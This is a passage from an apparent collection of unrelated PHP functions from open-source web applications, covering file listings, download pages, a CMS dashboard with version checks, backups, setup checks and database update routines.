}\n\n // Get active files from params files\n $selFiles = $this->readParamFiles($kioskList);\n\n // Build Titles Records\n $titres = array('ID', 'Noms de fichiers');\n $kioskCols = array();\n foreach($kioskList as $key => $kioskID) {\n array_push($titres, $kioskID); \n array_push($kioskCols, $kioskID);\n }\n array_push($titres, 'Delete'); \n\n // Build data records & give selected files \n foreach($files as $key => $value) {\n $row = array();\n $fext = pathinfo($value, PATHINFO_EXTENSION);\n $isSelected = in_array($value, $selFiles) ? \"checked\" : \"\";\n if($value!='.' && $value != '..' && in_array($fext, $allowedFileExt)) {\n $row = array('id' => $id, 'filename' => $value, 'ftype' => 'file', 'selected' => $isSelected);\n foreach($kioskCols as $key => $colID) {\n $row[$colID] = $colID;\n }\n // $row = array_merge($rowHead, $kioskCols);\n $row['action'] = \"actions a faire for $id\";\n $fileList[] = $row;\n $id++;\n }\n }\n\n /**\n * \n */\n foreach($urlList as $key => $value) {\n $isSelected = in_array($value, $selFiles) ? \"checked\" : \"\";\n $row = array('id' => $id, 'filename' => $value, 'ftype' => 'url');\n foreach($kioskCols as $key => $colID) {\n $row[$colID] = $colID;\n }\n $row['action'] = \"actions a faire for $id\";\n $fileList[] = $row;\n $id++;\n }\n \n $retValues = array(\"status\" => \"OK\", \"msg\" => 'OK', \"data\" => $fileList, \"titres\" => $titres, \"kiosksIDS\" => $kioskCols, \"selected\" => $selFiles);\n return response()->json($retValues);\n }", "function display_downloads($type)\n{\n $windows_type = $type . \"_windows\";\n $mac_type = $type . \"_mac\";\n $linux_type = $type . \"_linux\";\n global $$windows_type, $$mac_type, $$linux_type, $stable_version, $experimental_version;\n $i = 0;\n $buttons = \"\";\n if ($$windows_type != \"\") {\n $buttons = $buttons . '<a href=\"' . $$windows_type . '\" class=\"btn btn-download\"><img src=\"img/windows.png\" />Windows</a> ';\n $i++;\n } else {\n $buttons = $buttons . '<a href=\"#\" class=\"btn btn-download disabled\"><img src=\"img/windows.png\" />Windows</a> ';\n }\n if ($$mac_type != \"\") {\n $buttons = $buttons . '<a href=\"' . $$mac_type . '\" class=\"btn btn-download-mac\"><img src=\"img/mac.png\" />Mac</a> ';\n $i++;\n } else {\n $buttons = $buttons . '<a href=\"#\" class=\"btn btn-download-mac disabled\"><img src=\"img/mac.png\" />Mac</a> ';\n }\n if ($$linux_type != \"\") {\n $buttons = $buttons . '<a href=\"' . $$linux_type . '\" class=\"btn btn-download\"><img src=\"img/linux.png\" />Linux</a> ';\n $i++;\n } else {\n $buttons = $buttons . '<a href=\"#\" class=\"btn btn-download disabled\"><img src=\"img/linux.png\" />Linux</a> ';\n }\n if ($type == \"stable\")\n $version = $stable_version;\n else\n $version = $experimental_version;\n if ($i > 0) {\n print($buttons);\n print('<a href=\"#\" data-placement=\"bottom\" rel=\"tooltip\" title=\"This is the current ' . $type . ' version.\" style=\"color: #666; font-size: 10px; line-height: 24px; margin-left: 20px;\">#' . substr($version, 0, 9) . '</a>');\n } else {\n print('<a href=\"#\" data-placement=\"left\" rel=\"tooltip\" title=\"Our build server does not appear to be producing any builds in this branch.\" style=\"color: #666; font-size: 10px; line-height: 24px;\">There are currently no ' . $type . ' builds available.</a>');\n }\n}", "function ff_hh_shortcode_versions( $atts, $content, $name ) {\n\t$manifest = ff_hh_getmanifest( FF_HH_STABLE_BASEDIR );\n\n\t$outstr = \"<div class=\\\"ff $name\\\">\";\n\t$outstr .= '<table><tr><th>Modell</th><th>Erstinstallation</th><th>Aktualisierung</th><th>Preissuche</th></tr>';\n\n\t# optionally filter output by given substring\n\tif ( is_array( $atts )\n\t\t&& array_key_exists( 'grep', $atts )\n\t\t&& ! empty( $atts['grep'] ) ) {\n\t\t$grep = $atts['grep'];\n\t} else {\n\t\t$grep = false;\n\t}\n\n\tforeach ( $manifest as $hw => $versions ) {\n\t\t// filter\n\t\tif ( $grep && ( false === strpos( $hw, $grep ) ) ) {\n\t\t\tcontinue;\n\t\t}\n\t\t$hw = ff_hh_beautify_hw_name( $hw, $grep );\n\t\t$outstr .= sprintf( \"\\n<tr><td>%s</td>\", $hw );\n\n\t\t// factory versions\n\t\t$hw_ver_links = array();\n\t\tforeach ( $versions as $hw_ver => $filename ) {\n\t\t\t$filename = str_replace( '-sysupgrade', '', $filename );\n\t\t\t$hw_ver_links[] = sprintf(\n\t\t\t\t'<a href=\"%s%s\">%s.x</a>',\n\t\t\t\tFF_HH_STABLE_BASEDIR.'factory/',\n\t\t\t\t$filename, $hw_ver\n\t\t\t);\n\t\t}\n\t\t$outstr .= '<td>Hardware Version ' . join( ', ', $hw_ver_links ) . '</td>';\n\n\t\t// sysupgrade versions\n\t\t$hw_ver_links = array();\n\t\tforeach ( $versions as $hw_ver => $filename ) {\n\t\t\t$hw_ver_links[] = sprintf(\n\t\t\t\t'<a href=\"%s%s\">%s.x</a>',\n\t\t\t\tFF_HH_STABLE_BASEDIR.'sysupgrade/',\n\t\t\t\t$filename, $hw_ver\n\t\t\t);\n\t\t}\n\t\t$outstr .= '<td>Hardware Version ' . join( ', ', $hw_ver_links ) . '</td>';\n\n\t\t// link to Geizhals\n\n\t\t$outstr .= sprintf( \"\\n<tr><td><a href=\\\"http://geizhals.de/?fs=%s\\\" target=\\\"_blank\\\">Suchen</a></td>\", $hw );\n\n\t\t$outstr .= '</tr>';\n\t}\n\n\t$outstr .= '</table>';\n\t$outstr .= '</div>';\n\t// $outstr .= '<pre>'.print_r( $manifest, true ).'</pre>';\n\treturn $outstr;\n}", "function dashboard_admin_buildContent($data,$db) {\n\t//$url = 'http://localhost/proprietary/version/'; // base url for version \n\t$url = 'https://sitesense.org/dev/version/'; // base url for version \n\t// modules versions contact\n\t$statement = $db->prepare('getEnabledModules','admin_modules'); // modules don't register versions until they're enabled, so this function is borderline useless if you get every module\n\t$statement->execute();\n\t$modules = $statement->fetchAll();\n\t$moduleQuery = array();\n\tforeach($modules as $module){\n\t\tif(file_exists('modules/'.$module['name'].'/README.md')&&dashboard_parse_readme('modules/'.$module['name'].'/README.md')){\n\t\t\t$moduleQuery[$module['shortName']]=$module['version'];\n\t\t}\n\t}\n\t$statement=$db->prepare('getEnabledPlugins','plugins');\n\t$statement->execute();\n\twhile($fetch=$statement->fetch(PDO::FETCH_ASSOC)){\n\t\tif(file_exists('plugins/'.$module['name'].'/README.md')&&dashboard_parse_readme('modules/'.$module['name'].'/README.md')){\n\t\t\tif(file_exists('plugins/'.$fetch['name'].'/install.php')){\n\t\t\t\tcommon_include('plugins/'.$fetch['name'].'/install.php');\n\t\t\t}\n\t\t\tif(function_exists($fetch['name'].'_settings')){\n\t\t\t\t$settings=call_user_func($fetch['name'].'_settings');\n\t\t\t\tif(isset($settings['version'])){\n\t\t\t\t\t$moduleQuery[$fetch['name']]=$settings['version'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t$moduleQuery = http_build_query(array('modules'=>$moduleQuery));\n\t$moduleQuery = rawurldecode($moduleQuery);\n\t$moduleUrl = $url . 'modules?' . $moduleQuery;\n\tif(isset($data->version)){\n\t\t$moduleUrl .= '&core='.$data->version;\n\t}\n\t$ch = curl_init($moduleUrl);\n\tcurl_setopt($ch,CURLOPT_RETURNTRANSFER,true);\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\t$data->output['moduleUpdates'] = curl_exec($ch);\n\t$data->output['moduleUpdates'] = json_decode($data->output['moduleUpdates'],TRUE);\n\n\t// sitesense version contact\n $info['SiteSense Version'] = $data->version;\n\t$info['Server time']=strftime('%B %d, %Y, %I:%M:%S %p');\n\t$info['Server Signature']=$_SERVER['SERVER_SIGNATURE'];\n\t$info['Server Name']=$_SERVER['SERVER_NAME'];\n\t$info['Server Address']=$_SERVER['SERVER_ADDR'];\n\t$info['Gateway Interface']=$_SERVER['GATEWAY_INTERFACE'];\n\t$info['Server Protocol']=$_SERVER['SERVER_PROTOCOL'];\n\t$info['PHP Version']=phpversion().'</td></tr><tr><td colspan=\"2\">\n\t\t<img src=\"'.$_SERVER['PHP_SELF'].'?='.php_logo_guid().'\" alt=\"PHP Logo\" />';\n\t$info['Zend Version']=zend_version().'</td></tr><tr><td colspan=\"2\">\n\t\t<img src=\"'.$_SERVER['PHP_SELF'].'?='.zend_logo_guid().'\" alt=\"Zend Logo\" />';\n\t$info['Host OS']=PHP_OS;\n\t$data->output['secondSidebar']='\n\t<table class=\"sysInfo\">\n\t\t<caption>System Info</caption>\n\t\t';\n\tforeach ($info as $title => $value) {\n\t\tif (is_array($value)) {\n\t\t\t$data->output['secondSidebar'].='<tr>\n\t\t\t<th colspan=\"2\" class=\"section\">'.$title.'</th>';\n\t\t\tforeach ($value as $subTitle => $subValue) {\n\t\t\t\t$data->output['secondSidebar'].='<tr>\n\t\t\t<th>'.$subTitle.'</th>\n\t\t\t<td>'.$subValue.'</td>\n\t\t</tr>';\n\t\t\t}\n\t\t} else {\n\t\t\t$data->output['secondSidebar'].='<tr>\n\t\t\t<th>'.$title.'</th>\n\t\t\t<td>'.$value.'</td>\n\t\t</tr>';\n\t\t}\n\t}\n\t$data->output['secondSidebar'].='\n\t</table>';\n\t$data->output['pageTitle']='About This CMS -';\n\t//-----Call Home-----//\n\t$field = array(\n\t\t'version' => $data->version,\n\t\t'host' => $data->domainName . $data->linkRoot,\n\t\t'removeAttribution' => $data->settings['removeAttribution'],\n\t\t'serverName' => $info['Server Name'],\n\t\t'serverAddress' => $info['Server Address'],\n\t\t'gatewayInterface' => $info['Gateway Interface'],\n\t\t'serverProtocol' => $info['Server Protocol'],\n\t\t'phpVersion' => phpversion(),\n\t\t'zendVersion' => zend_version()\n\t);\n\t\n\t$ch = curl_init($url);\n\tcurl_setopt($ch,CURLOPT_POST,true);\n\tcurl_setopt($ch,CURLOPT_POSTFIELDS,$field);\n\tcurl_setopt($ch,CURLOPT_RETURNTRANSFER,true);\n\tcurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n\n\t$data->output['result'] = curl_exec($ch);\n\t$data->output['result'] = json_decode($data->output['result'],TRUE);\n\n\t/* \n\t *\n\t * 0 = Attribution\n\t * 1 = Version\n\t**/\n\t// Update Attribution Setting In The DB\n\t$statement = $db->prepare('updateSettings','admin_settings');\n\t$statement->execute(array(\n\t\t':name' => 'removeAttribution',\n\t\t':value' => $data->output['result']['removeAttribution']\n\t));\n\t// Push Across All Languages...\n\tcommon_updateAcrossLanguageTables($data,$db,'settings',array('name'=>'removeAttribution'),array('value'=>$data->output['result']['removeAttribution']));\n\t\n}", "function build() {\n\t\t$localIndex = index();\n\t\tarsort($localIndex);\n\t\tob_start();\n?>\n\t\t\t<div style=\"width:600px;\">\n\t\t\t\t<h1>hypha builder</h1>\n\t\t\t\tHere you can compose your own hypha system.\n\t\t\t\t<ol>\n\t\t\t\t\t<li>First you have to enter a name and password for the so called 'superuser' account.</li>\n\t\t\t\t\t<li>Then you can select a number of modules for different data types you want to incorporate in your hypha system.</li>\n\t\t\t\t\t<li>When you click 'build' your superuser account and selection of modules will be packed into one php file ('hypha.php') which is offered for download.</li>\n\t\t\t\t\t<li>Upload the downloaded file into a webdirectory on your server and make shure php has write access to the folder. Open the file in a browser. You will be asked to login as superuser and after setting up some variables hypha will be installed.</li>\n\t\t\t\t</ol>\n\t\t\t</div>\n\t\t\t<table class=\"section\">\n\t\t\t\t<tr><th style=\"text-align:right; white-space:nowrap;\">superuser name:</th><td><input id=\"username\" name=\"username\" type=\"text\" /></td></tr>\n\t\t\t\t<tr><th style=\"text-align:right; white-space:nowrap;\">superuser password:</th><td><input name=\"password\" type=\"password\" /></td></tr>\n\t\t\t\t<tr name=\"datatype\">\n\t\t\t\t\t<th style=\"text-align:right; white-space:nowrap;\">modules to include:</th><td>\n<?php\n\t\tforeach ($localIndex as $file => $timestamp) {\n\t\t\tif (substr($file, 0, 17) == 'system/datatypes/') {\n\t\t\t\t$name = substr($file, 17, -4);\n\t\t\t\tif ($name!='settings') echo '<input type=\"checkbox\" name=\"build_'.substr($file,0,-4).'\"'.($name == 'text' ? ' checked=\"checked\"' : '').' /> '.$name.'<br/>'.\"\\n\";\n\t\t\t}\n\t\t}\n?>\n\t\t\t\t</td></tr>\n\t\t\t\t<tr name=\"language\">\n\t\t\t\t\t<th style=\"text-align:right; white-space:nowrap;\">languages to include:</th><td>\n<?php\n\t\tforeach ($localIndex as $file => $timestamp) {\n\t\t\tif (substr($file, 0, 17) == 'system/languages/' && substr($file, -4) == '.php') {\n\t\t\t\t$name = substr($file, 17, -4);\n\t\t\t\techo '<input type=\"checkbox\" name=\"build_'.substr($file,0,-4).'\"'.($name == 'en' ? ' checked=\"checked\"' : '').' /> '.$name.'<br/>'.\"\\n\";\n\t\t\t}\n\t\t}\n?>\n\t\t\t\t</td></tr>\n\t\t\t\t<tr><td colspan=\"2\" style=\"text-align:right;\"><input type=\"submit\" id=\"gobutton\" name=\"command\" value=\"build\"></td></tr>\n\t\t\t</table>\n<?php\n\t\treturn ob_get_clean();\n\t}", "public function file_backups()\n {\n \n $backup = $this->services['backups'];\n $backups = $backup->setBackupPath($this->settings['working_directory'])->getAllBackups($this->settings['storage_details']);\n $backup_meta = $backup->getBackupMeta($backups);\n \n $variables = array(\n 'settings' => $this->settings,\n 'backup_meta' => $backup_meta,\n 'backups' => $backups,\n 'errors' => $this->errors,\n 'menu_data' => ee()->backup_pro->get_dashboard_view_menu(),\n 'method' => $this->platform->getPost('method')\n );\n\n ee()->jquery->tablesorter('#file_backups table', '{headers: {8: {sorter: false}, 0: {sorter: false}, 1: {sorter: false}, 2: {sorter: false}, 3: {sorter: false}}, widgets: [\"zebra\"], sortList: [[4,1]]}');\n ee()->javascript->compile();\n \n return array(\n 'body' => ee()->load->view('file_backups', $variables, true),\n 'heading' => $this->services['lang']->__('file_backups'),\n 'breadcrumb' => array(\n ee('CP/URL', 'addons/settings/backup_pro')->compile() => lang('backup_pro_module_name'),\n ee('CP/URL', 'addons/settings/backup_pro/index')->compile() => lang('home_bp_dashboard_menu')\n )\n );\n }", "function fm_unzip_show_status ($list,$removepath) {\r\n//depending of the value of the $CFG->zip, results will be\r\n//text or an array of files.\r\n\r\n global $CFG;\r\n\r\n if (empty($CFG->unzip)) { // Use built-in php-based zip function\r\n $strname = get_string(\"name\");\r\n $strsize = get_string(\"size\");\r\n $strmodified = get_string(\"modified\");\r\n $strstatus = get_string(\"status\");\r\n echo \"<table cellpadding=\\\"4\\\" cellspacing=\\\"2\\\" border=\\\"0\\\" width=\\\"640\\\">\";\r\n echo \"<tr><th class=\\\"header\\\" align=\\\"left\\\">$strname</th>\";\r\n echo \"<th class=\\\"header\\\" align=\\\"right\\\">$strsize</th>\";\r\n echo \"<th class=\\\"header\\\" align=\\\"right\\\">$strmodified</th>\";\r\n echo \"<th class=\\\"header\\\" align=\\\"right\\\">$strstatus</th></tr>\";\r\n foreach ($list as $item) {\r\n echo \"<tr>\";\r\n $item['filename'] = str_replace(cleardoubleslashes($removepath).'/', \"\", $item['filename']);\r\n print_cell(\"left\", $item['filename']);\r\n if (! $item['folder']) {\r\n print_cell(\"right\", display_size($item['size']));\r\n } else {\r\n echo \"<td>&nbsp;</td>\";\r\n }\r\n $filedate = userdate($item['mtime'], get_string(\"strftimedatetime\"));\r\n print_cell(\"right\", $filedate);\r\n print_cell(\"right\", $item['status']);\r\n echo \"</tr>\";\r\n }\r\n echo \"</table>\";\r\n\r\n } else { // Use external zip program\r\n print_simple_box_start(\"center\");\r\n echo \"<pre>\";\r\n foreach ($list as $item) {\r\n echo str_replace(cleardoubleslashes($removepath.'/'), '', $item).'<br />';\r\n }\r\n echo \"</pre>\";\r\n print_simple_box_end();\r\n }\r\n}", "public function renderChangesTable($revision_one, $revision_two)\n {\n $this->setMetadataVariables($revision_one, $revision_two);\n $details = $this->getDetails();\n $headers = array_keys(current($this->latest_metadata));\n ?>\n <div class=\"row\">\n <div class=\"col-sm-12 col-md-3\" style=\"margin-bottom:20px\">\n <u><b>Details regarding changes between versions</b></u>\n <?php\n if (!empty($details))\n {\n print \"<ul>\";\n print \"<li style='color: green'>Fields added: \" . $details[\"num_fields_added\"] . \"</li>\";\n print \"<li style='color: red'>Fields deleted: \" . $details[\"num_fields_deleted\"] . \"</li>\";\n print \"<li>Fields modified: \" . $details[\"num_fields_modified\"] . \"</li>\";\n print \"<li>Total fields <b>BEFORE</b> changes: \" . $details[\"total_fields_before\"] . \"</li>\";\n print \"<li>Total fields <b>AFTER</b> changes: \" . $details[\"total_fields_after\"] . \"</li>\";\n print \"</ul>\";\n }\n ?>\n </div>\n <div class=\"col-sm-12 col-md-3\" style=\"margin-bottom:20px\">\n <table cellspacing=\"0\" cellpadding=\"0\" border=\"1\">\n <tbody>\n <tr>\n <td style=\"padding: 5px; text-align: left; background-color: black !important; color: white !important; font-weight: bold;\">\n KEY for Comparison Table below\n </td>\n </tr>\n <tr>\n <td style=\"padding: 5px; text-align: left;\">\n White cell = no change\n </td>\n </tr>\n <tr>\n <td style=\"padding: 5px; text-align: left; background-color: #FFFF80 !important;\">\n Yellow cell = field changed (Black text = current value, <font color=\"#909090\">Gray text = old value</font>)\n </td>\n </tr>\n <tr>\n <td style=\"padding: 5px; text-align: left; background-color: #7BED7B !important;\">\n Green cell = new project field\n </td>\n </tr>\n <tr>\n <td style=\"padding: 5px; text-align: left; background-color: #FE5A5A !important;\">\n Red cell = deleted project field\n </td>\n </tr>\n </tbody>\n </table>\n </div>\n </div>\n <div>\n <?php if (empty($this->metadata_changes)) :?>\n <h4>Table of Changes</h4>\n <p>The data dictionaries are identical</p>\n <?php else: ?>\n <form action=\"<?php print $this->getUrl(\"DownloadTable.php\"); ?>\" method=\"post\">\n <h4>Table of Changes <button class=\"btn btn-link\" type=\"submit\" data-toggle=\"tooltip\" title=\"There are two new columns in the CSV: changed_fields (which contains a short list of all changes made in a field), and change_details (which stores the old values for the field, while new values are contained in the associated column). These columns may be hard to see when using Excel. If so, please wrap your text.\">Download</button></h4>\n <input name=\"revision_one\" type=\"hidden\" value=\"<?php print $revision_one;?>\"></input><input name=\"revision_two\" type=\"hidden\" value=\"<?php print $revision_two;?>\"></input>\n </form>\n <table>\n <thead>\n <tr>\n <?php foreach($headers as $header) { print \"<th><b>$header</b></th>\"; } ?>\n </tr>\n </thead>\n <?php \n foreach($this->metadata_changes as $field => $metadata) {\n $html = \"\";\n\n if (is_null($this->furthest_metadata[$field])) // New field\n {\n $html .= \"<tr style='background-color:#7BED7B'>\";\n }\n else if (is_null($this->latest_metadata[$field])) // Deleted field\n {\n $html .= \"<tr style='background-color:#FE5A5A'>\";\n }\n else\n {\n $html =\"<tr>\";\n }\n\n foreach($metadata as $key => $attr)\n {\n $attr = strip_tags($attr);\n if (is_null($this->furthest_metadata[$field]) || is_null($this->latest_metadata[$field]))\n { \n $html .= \"<td>\" . ($attr ? $attr : \"n/a\") . \"</td>\";\n }\n else // Modified field\n {\n $old_value = strip_tags($this->furthest_metadata[$field][$key]);\n if ($attr != $old_value)\n {\n $html .= \"<td style='background-color:#FFFF80'><p>\" . ($attr ? $attr : \"(no value)\") . \"</p><p style='color:#aaa'>\" . ($old_value ? $old_value : \"(no value)\"). \"<p></td>\";\n }\n else\n {\n $html .= \"<td name='row[]'>\" . ($attr ? $attr : \"n/a\") . \"</td>\";\n }\n }\n }\n\n $html .= \"</tr>\";\n print $html;\n }\n ?>\n </table>\n <?php endif?>\n </div>\n <?php\n }", "public function actionGeneratorall() {\n //$sql = \"select hoscode from chospital_amp where already = 1\";\n $sql = \"select hoscode from chospital_amp where already = 1\";\n $hosData = $this->query_all_db2($sql);\n\n //find cumulative table from mas_mapp_main table with comment value 2\n $sql = \"select * from mas_mapp_main\";\n $cuTable = $this->query_all_db2($sql);\n\n foreach ($cuTable as $cData) {\n $table = $cData['MAIN_TABLE'];\n $sql = \"truncate $table\";\n $this->exec_sql($sql, 2);\n }\n\n foreach ($hosData as $hData) {\n $db_name = 'jhcisdb_' . $hData['hoscode'];\n $db = 'db' . $hData['hoscode'];\n \n $sql = \"call create_f43_table()\";\n $this->exec_sql_db($sql, $db);\n \n foreach ($cuTable as $cData) {\n $table = $cData['MAIN_TABLE'];\n $DATE_START = $cData['DATESTART'];\n $DATE_END = $cData['DATEEND'];\n $mapp_sql = trim($cData['MAPP_QUERY']);\n\n if ($table == 'f43_dental') {\n $sql = \"call cal_table_dental_tmp('$table')\";\n $this->exec_sql_db($sql, $db);\n }else if($table == 'f43_appointment'){\n $sql = \"call cal_table_appointment_tmp('$table')\";\n $this->exec_sql_db($sql, $db);\n }else {\n //generate data from jhcis version to f43 version\n $sql = \"call cal_table_tmp_newver1(\\\"\" . $table . \"\\\",\\\"(\" . $mapp_sql . \")\\\",\\\"\" . $DATE_START . \"\\\",\\\"\" . $DATE_END . \"\\\")\";\n $this->exec_sql_db($sql, $db);\n }\n\n //insert f43 from jhcis database to 43f_generate database\n $sql = \"call replace_into_table('$db_name','$table')\";\n $this->exec_sql($sql, 2);\n\n //drop f43 table in jhcis database\n //$sql = \"call cal_table_tmp_drop('$table','$db_name')\";\n //$this->exec_sql($sql, 2);\n }\n }\n\n return 'All';\n }", "function skin_diff_export_overview( $content, $missing, $changed, $title, $date ) {\n\n$IPBHTML = \"\";\n//--starthtml--//\n\n$IPBHTML .= <<<EOF\n<html>\n <head>\n <meta http-equiv=\"content-type\" content=\"text/html; charset={$this->ipsclass->vars['gb_char_set']}\" />\n <title>$title export</title>\n <style type=\"text/css\">\n BODY\n {\n \tfont-family: verdana;\n \tfont-size:11px;\n \tcolor: #000;\n \tbackground-color: #CCC;\n }\n\n del,\n .diffred\n {\n\t background-color: #D7BBC8;\n\t text-decoration:none;\n }\n\n ins,\n .diffgreen\n {\n\t background-color: #BBD0C8;\n\t text-decoration:none;\n }\n\n h1\n {\n \tfont-size: 18px;\n }\n\n h2\n {\n \tfont-size: 18px;\n }\n </style>\n </head>\n<body>\n <div style='padding:4px;border:1px solid #000;background-color:#FFF;margin:4px;'>\n <h1>$title (экспортировано: $date)</h1>\n <strong>$missing новых шаблонов и $changed измененных</strong>\n </div>\n <br />\n $content\n <br />\n <div style='padding:4px;border:1px solid #000;background-color:#FFF;margin:4px;'>\n <span class='diffred'>Удален HTML код</span> &middot; <span class='diffgreen'>Добавлен HTML код</span>\n </div>\n</body>\n<html>\nEOF;\n\n//--endhtml--//\nreturn $IPBHTML;\n}", "function displayPreliminaries()\n\t{\n\t\t$OK = \"<font color=\\\"green\\\"><strong>OK</strong></font>\";\n\t\t$FAILED = \"<strong><font color=\\\"red\\\">FAILED</font></strong>\";\n\n\t\t$this->tpl->addBlockFile(\"CONTENT\",\"content\",\"tpl.preliminaries.html\", \"setup\");\n\n\t\t$this->tpl->setVariable(\"TXT_SETUP_TITLE\",$this->lng->txt(\"ilias_setup\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_WELCOME\", $this->lng->txt(\"setup_welcome\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_INIFILE_DESC\", $this->lng->txt(\"setup_inifile_desc\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_DATABASE_DESC\", $this->lng->txt(\"setup_database_desc\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_LANGUAGES_DESC\", $this->lng->txt(\"setup_languages_desc\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_PASSWORD_DESC\", $this->lng->txt(\"setup_password_desc\"));\n\t\t$this->tpl->setVariable(\"TXT_SETUP_NIC_DESC\", $this->lng->txt(\"setup_nic_desc\"));\n\n\t\t$server_os = php_uname();\n\t\t$server_web = $_SERVER[\"SERVER_SOFTWARE\"];\n\t\t$environment = $this->lng->txt(\"env_using\").\" \".$server_os.\" <br/>\".$this->lng->txt(\"with\").\" \".$server_web;\n\n\t\tif ((stristr($server_os,\"linux\") || stristr($server_os,\"windows\")) && stristr($server_web,\"apache\"))\n\t\t{\n\t\t\t$env_comment = $this->lng->txt(\"env_ok\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$env_comment = \"<font color=\\\"red\\\">\".$this->lng->txt(\"env_warning\").\"</font>\";\n\t\t}\n\n\t\t$this->tpl->setVariable(\"TXT_ENV_TITLE\", $this->lng->txt(\"environment\"));\n\t\t$this->tpl->setVariable(\"TXT_ENV_INTRO\", $environment);\n\t\t$this->tpl->setVariable(\"TXT_ENV_COMMENT\", $env_comment);\n\n\t\t$this->tpl->setVariable(\"TXT_PRE_TITLE\", $this->lng->txt(\"preliminaries\"));\n\t\t$this->tpl->setVariable(\"TXT_PRE_INTRO\", $this->lng->txt(\"pre_intro\"));\n\n\t\t$preliminaries = array(\"php\", \"root\", \"folder_create\",\n\t\t\t\"cookies_enabled\", \"dom\", \"xsl\", \"gd\", \"memory\");\n\t\tif ($this->setup->hasOpCacheEnabled()) {\n\t\t\t$preliminaries[] = 'load_comments';\n\t\t}\n\n\t\tforeach ($preliminaries as $preliminary)\n\t\t{\n\t\t\t$this->tpl->setCurrentBlock(\"preliminary\");\n\t\t\t$this->tpl->setVariable(\"TXT_PRE\", $this->lng->txt(\"pre_\".$preliminary));\n\t\t\tif ($this->setup->preliminaries_result[$preliminary][\"status\"] == true)\n\t\t\t{\n\t\t\t\t$this->tpl->setVariable(\"STATUS_PRE\", $OK);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->tpl->setVariable(\"STATUS_PRE\", $FAILED);\n\t\t\t}\n\t\t\t$this->tpl->setVariable(\"COMMENT_PRE\", $this->setup->preliminaries_result[$preliminary][\"comment\"]);\n\t\t\t$this->tpl->parseCurrentBlock();\n\t\t}\n\n\t\t// summary\n\t\tif ($this->setup->preliminaries === true)\n\t\t{\n\t\t\tif ($this->setup->isInstalled())\n\t\t\t{\n\t\t\t\t$cmd = \"mastersettings\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$cmd = \"install\";\n\t\t\t}\n\t\t\t$btn_text = ($this->cmd == \"preliminaries\") ? \"\" : \"installation\";\n//echo \"-\".$this->display_mode.\"-\";\n\t\t\t$this->setButtonNext($cmd,$btn_text);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->tpl->setCurrentBlock(\"premessage\");\n\t\t\t$this->tpl->setVariable(\"TXT_PRE_ERR\", sprintf($this->lng->txt(\"pre_error\"),\n\t\t\t\t\"http://www.ilias.de/docu/goto.php?target=pg_6531_367&client_id=docu\"));\n\t\t\t$this->tpl->parseCurrentBlock();\n\t\t}\n\t}", "function useTemplate($path_to_root_dir)\n{\n global $area, $path_to_root_dir, $error_msg_text, $sys_msg_text;\n $sys_info = getSysInfo();\n \n //this is the first place where we see that sys-tables don't exist!!\n if ($sys_info['no_tables']) {\n $link_text = __('PolyPager found the database. Very good. <br/>But: it seems that it does not yet have its database configured. By clicking on the following link you can assure that all the tables that PolyPager needs to operate are being created (if they have not been already).<br/>');\n $link_href = \"admin/?&cmd=create\";\n global $area;\n if ($area == '_admin') {\n $link_href = './?&cmd=create';\n }\n if ($area == '_gallery') {\n $link_href = '../../admin/?&cmd=create';\n }\n $error_msg_text[] = '<span id=\"no_tables_warning\">'.$link_text.'<a href=\"'.$link_href.'\">click here to create the tables.</a></span>';\n }\n if (utf8_strpos($sys_info['skin'], 'picswap')>-1) {\n $skin = 'picswap';\n } else {\n $skin = $sys_info['skin'];\n }\n $template_dirpath = $path_to_root_dir.\"/style/skins/\".$skin;\n $template_filepath = $template_dirpath.\"/template.php\";\n if (file_exists($template_filepath)) {\n @include($template_filepath);\n } else if (file_exists($template_dirpath)) {\n if ($area == '_admin') {\n $sys_msg_text[] = 'The template.php file in the '.$skin.'-directory couldn\\'t be found';\n }\n // we fall silently back to the template file\n @include($template_dirpath.\"/template.php.template\");\n } else {\n $sys_msg_text[] = __('Warning: No template could be found for the selected skin.');\n @include($path_to_root_dir.\"/style/skins/polly/template.php.template\");\n }\n}", "function main()\t{\n\n\t\t$content = '';\n\t\t$update040a = false;\n\t\t$update040b = false;\n\t\t$update040c = false;\n\t\t\n\t\t$tableNames = $GLOBALS['TYPO3_DB']->admin_get_tables();\n\t\tif (!isset($tableNames['tx_myquizpoll_relation_user_id_mm'])) {\n\t\t\t$update040a = true;\n\t\t\t$update040b = true;\n\t\t\t$update040c = true;\n\t\t}\n\n\t\tif (\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('update040a')) {\n\t\t\t$content .= \"<br />Executing: Update relations-table for advanced statistics\\n\";\n\t\t\t\n\t\t\t$mmArray = array();\n\t\t\t$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery('uid_local, uid_foreign',\n\t\t\t\t'tx_myquizpoll_relation_user_id_mm',\n\t\t\t\t'',\n\t\t\t\t'',\n\t\t\t\t'',\n\t\t\t\t'');\n\t\t\t$rows = $GLOBALS['TYPO3_DB']->sql_num_rows($res);\n\t\t\tif ($rows>0) {\t\t\t\t\t\t\t// DB entries found?\n\t\t\t\twhile($row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res)){\n\t\t\t\t\t$local = $row['uid_local'];\n\t\t\t\t\t$mmArray[$local] = array();\n\t\t\t\t\t$mmArray[$local]['user'] = $row['uid_foreign'];\n\t\t\t\t}\n\t\t\t}\n\t\t\t$res2 = $GLOBALS['TYPO3_DB']->exec_SELECTquery('uid_local, uid_foreign',\n\t\t\t\t'tx_myquizpoll_relation_question_id_mm',\n\t\t\t\t'',\n\t\t\t\t'',\n\t\t\t\t'',\n\t\t\t\t'');\n\t\t\t$rows = $GLOBALS['TYPO3_DB']->sql_num_rows($res2);\n\t\t\tif ($rows>0) {\t\t\t\t\t\t\t// DB entries found?\n\t\t\t\twhile($row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res2)){\n\t\t\t\t\t$local = 